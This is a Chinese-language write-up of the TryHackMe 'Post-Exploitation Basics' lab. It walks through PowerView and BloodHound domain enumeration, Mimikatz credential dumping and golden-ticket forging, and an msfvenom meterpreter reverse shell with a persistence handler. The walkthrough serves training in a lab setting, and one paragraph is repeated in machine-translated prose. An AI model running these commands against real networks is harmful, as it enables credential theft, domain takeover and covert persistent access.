Post-Exploitation Basics

image.png

使用 mimikatz、bloodhound、powerview 和 msfvenom 学习后期开发和维护访问的基础知识

房间信息#

房间名称 https://tryhackme.com/room/postexploit
描述 后身渗透基础知识
积分 160💰
作者 BadWiChell

Powerview 枚举#

Powerview 是 powershell empire 的一个强大的 powershell 脚本,可用于在您已经在系统中获得 shell 后枚举域。 我们将专注于如何从 PowerView 启动和获取用户和组。

1,启动 Powershell - powershell -ep bypass  -ep 绕过 powershell 的执行策略让你轻松运行脚本。

powershell -ep bypass的作用是:临时绕过PowerShell的Execution Policy设置,允许运行本地 unsigned 脚本。需要注意的是,该参数只在当前PowerShell会话中临时生效。要永久更改PowerShell的执行策略,需要使用Set-ExecutionPolicy cmdlet。

image.png

2,启动 PowerView - . .\Downloads\PowerView.ps1,枚举域用户 - Get-NetUser | select cn

image.png

3 ,枚举域组 - Get-NetGroup -GroupName *admin*

image.png

4,使用 Invoke-ShareFinder 来发现网络共享 Invoke-ShareFinder 的主要功能是:- 搜索当前子网内的 Windows 主机,发现开启的网络共享

  • 可以搜索指定IP范围或CIDRblocks内的主机
  • 可以指定要搜索的共享类型,如C$, admin$, IPC$等
  • 支持导出搜索结果到CSV文件
  • 可以使用标准的 PowerShell 管道将输出传递给其他 cmdlet 进行过滤或操作

image.png

5,查看域中计算机操作系统分布,我们使用 Get-NetComputer -fulldata | select operatingsystem

这个命令可以快速查看域环境中的计算机操作系统分布,对安全评估和资产管理非常有用。Get-NetComputer 支持许多参数,如:- Name  指定计算机名获取信息

  • OperatingSystem  指定操作系统获取信息 
  • ServicePack  指定Service Pack获取信息
  • Location  指定位置获取信息
  • Domain   指定域名获取信

image.png

Bloodhound 枚举#

BloodHound 是一个开源的图形化 Active Directory 渗透测试工具,用于找出域内对象之间的关系,识别和显示成员身份、权限和所有权。它可以帮助渗透测试人员(红队)和系统管理员更容易地了解 Windows Active Directory 环境。

安装Bloodhound kali:apt-get install bloodhound arch:paru -S bloodhoundpacman -S bloodhound

在终端输入 neo4j console,登陆凭据:neo4j:neo4j

回到靶机中,执行输入: powershell -ep bypass 临时绕过PowerShell的执行策略,允许运行本地脚本。这是因为SharpHound.ps1是一个本地脚本,默认情况下PowerShell会阻止运行本地脚本,所以需要先使用此命令进行绕过。

. .\Downloads\SharpHound.ps1 执行SharpHound.ps1脚本,该脚本用于收集域控制器的各种信息以支持BloodHound工具。

Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip 使用SharpHound.ps1中的Invoke-Bloodhound函数来收集域CONTROLLER.local的信息,使用All方法收集所有信息,并将结果打包到loot.zip文件中。

image.png

我们使用 scp 方法,将 loot.zip 文件传输到攻击机中

image.png

在 Bloodhound 中搜索这个图标   并导入 loot.zip 文件夹

查询可以像查找所有域管理员一样简单 -

或者像通往高价值目标的最短路径一样复杂 -

有很多查询可供选择并枚举网络内部的连接

Mimikatz#

mimikatz 是一个开源的渗透测试工具,用于破解 Windows 操作系统的安全机制。它可以从内存中提取用户的登录密码、PIN 码与 NTLM 哈希,用于身份盗用与权限提升。mimikatz 可以收集系统信息和本地安全凭据,绕过 Windows 身份验证与利用提权技术进行横向移动。

使用 mimikatz 转储哈希#

cd Downloads && mimikatz.exe 这将进入 mimikatz 所在的目录并运行 mimikatz 二进制文件 privilege::debug 确保输出为“Privilege ‘20’ ok”——这确保您以管理员身份运行 mimikatz;如果您不以管理员身份运行 mimikatz,mimikatz 将无法正常运行 lsadump::lsa /patch 转储那些哈希值!

黄金票据#

我们同样还是使用 mimikatz, 这次我们来创建黄金票据

Mimikatz 是一款 Windows 安全工具,可用于提取用户认证信息和权限。它可以创建名为“黄金票据”的令牌,用于实现权限提升和横向移动。黄金票据是具有域管理员或企业管理员权限的标记。攻击者可以使用 Mimikatz 生成黄金票据,然后使用该票据访问受限资源或提高系统权限。

cd downloads && mimikatz.exe    

privilege::debug 

 lsadump::lsa /inject /name:krbtgt 这会转储 Kerberos Ticket Granting Ticket 帐户的哈希和安全标识符,允许创建黄金票证  image.png 记下红色轮廓的内容,需要它来创建金票

创建黄金票据#

kerberos::golden /user: /domain: /sid: /krbtgt: /id: image.png

使用黄金票据访问其他机器#

misc::cmd - 这将打开一个新的命令提示符,对所有机器都具有提升的权限 image.png

服务器枚举#

这是 Windows 服务器管理器,第一次打开它时的外观最有趣的主要选项卡是工具和管理选项卡,可以在工具选项卡中找到大部分信息,例如用户、组、信任、计算机。管理选项卡将允许添加角色和功能,但这可能会被系统管理员相对快速地接受。

不要担心 AD CS、AD DS、DNS 或文件和存储服务,它们是为利用活动目录而设置的,对后期利用没有多大用处这是 Windows 服务器管理器在您第一次打开它时的外观最有趣的主要选项卡是工具和管理选项卡,可以在工具选项卡中找到大部分信息,例如用户、组、信任、计算机。管理选项卡将允许添加角色和功能,但这可能会被系统管理员相对快速地接受。

不要担心 AD CS、AD DS、DNS 或文件和存储服务,它们是为利用活动目录而设置的,对后期利用没有多大用处

image.png

导航到工具选项卡并选择 Active Directory 用户和计算机 image.png 这将拉出域中所有用户的列表以及其他一些有用的选项卡,例如组和计算机

一些系统管理员没有意识到,作为攻击者可以看到用户帐户的描述,因此他们可能会在描述中设置服务帐户密码查看描述并找到 SQL 服务密码是什么?

权限维持#

有很多方法可以维护机器或网络上的访问权限,我们将介绍一种维护访问权限的相当简单的方法,首先设置一个 meterpreter shell,然后使用允许我们在系统中创建后门服务的持久性 metasploit 模块如果机器关闭或重置,这将为我们提供一个即时的 meterpreter shell。

还有其他维护访问权限的方法,例如高级后门和 Rootkit,但这些超出了本章的范围。

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe 这将生成一个基本的 windows meterpreter 反向 tcp shell

image.png

将有效载荷从攻击者机器转移到目标机器。 我这里使用 scp 进行传输: image.png

下一步是监听: 使用 msfconsole use exploit/multi/handler - 这将在设置的端口上创建一个监听 将我们的有效负载配置为 Windows meterpreter shell: set payload windows/meterpreter/reverse_tcp 将 THM IP 地址设置为您的“LHOST”后,启动监听器 run 在 windows 机器上执行二进制文件会给你一个 meterpreter shell 回到你的主机上

image.png 运行 shell.exe image.png

set session 1 将 session 设置为我们在 meterpreter 中做后台的 session(可以使用 sessions metasploit 中的命令列出活跃的 session)

image.png

在这里你可以看到会话死了,但是第二次我们再次运行处理程序时,由于持久性服务,我们得到了一个 meterpreter shell。

还有其他维护访问权限的方法,例如添加用户和 Rootkit,但我会让您自己对这些主题进行研究和实验。

这个房间为后期开发提供了一个良好的开端,但是还有许多其他方法在不断发展。我建议你出去做你自己的研究,找到你自己喜欢用于后期开发的工具。我希望开设另一个与此类似的房间,涵盖更深入的主题,例如更深入的后门和特洛伊木马、旋转、令牌模拟和银票攻击。我希望这个房间能帮助您更好地了解后期开发在现实场景中的工作原理。

资源 -

使用的工具/恶意软件 -